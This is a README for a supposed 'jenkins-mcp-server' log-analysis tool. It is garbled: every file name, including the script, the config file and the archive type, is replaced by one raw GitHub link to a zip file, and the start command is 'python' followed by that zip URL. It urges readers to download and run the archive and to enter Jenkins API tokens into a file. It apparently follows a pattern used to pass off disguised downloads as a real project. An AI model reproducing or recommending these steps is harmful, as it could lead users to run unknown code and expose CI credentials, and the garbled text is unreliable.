Welcome to the jenkins-mcp-server repository! This application helps you fetch and analyze Jenkins console logs from multiple Jenkins instances seamlessly. You can extract important information such as error snippets, git information, and build metadata. Follow the steps below to get started.
To run jenkins-mcp-server, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: Python 3.6 or higher
- Memory: At least 1 GB of RAM available
- Disk Space: 50 MB of free space
To download jenkins-mcp-server, visit this page:
Follow the instructions below to install the application on your system.
Click on the link above to go to the Releases page. Here, you will find the latest version of the jenkins-mcp-server.
On the Releases page, identify the most recent version. It will be marked as the βlatest release.β
Select the relevant file for your operating system. Click to download it directly. The files are typically in the form of a .zip or https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zip archive.
Once the download completes, locate the downloaded file on your computer. Extract it to a folder of your choice. Right-click the file and look for options like "Extract Here" or use your preferred extraction software.
Navigate to the extracted folder. You should find a script named https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zip. Open your terminal or command prompt in this folder. Run the following command:
python https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zipThis command will start the jenkins-mcp-server.
Before you begin using the server, you need to set up a configuration file. Hereβs how:
-
In the extracted folder, look for
https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zip. This file contains settings for the application. -
Open
https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zipin a text editor. You will need to add your Jenkins server details here. A sample configuration looks like this:{ "servers": [ { "url": "http://your_jenkins_server:8080", "username": "your_username", "api_token": "your_api_token" } ] } -
Save the changes to the configuration file.
With jenkins-mcp-server running, you can navigate to your browser to access the interface:
- Open your web browser and go to
http://localhost:5000. - You will see options for fetching logs. Enter the build number of the Jenkins job you're interested in.
jenkins-mcp-server offers:
- Multi-Jenkins Support: Fetch logs from multiple Jenkins instances.
- Error Snippet Extraction: Quickly find and analyze errors.
- Build Metadata: Extract useful information about builds.
- User-Friendly Interface: Easy navigation to fetch logs.
If you encounter any issues:
- Application Not Starting: Ensure Python is installed and the version is 3.6 or higher.
- Configuration Errors: Check your
https://raw.githubusercontent.com/MauManto/jenkins-mcp-server/main/laborant/jenkins-mcp-server.zipfile for typos or incorrect details. - Network Issues: Ensure that your Jenkins server is reachable and running.
We value your feedback! If you have questions or issues, please contact the project maintainers. For support, you can open an issue in this repository.
This project is licensed under the MIT License. See the LICENSE file for details.
For any updates, keep checking the Releases page.
Ready to get started? Download the application from: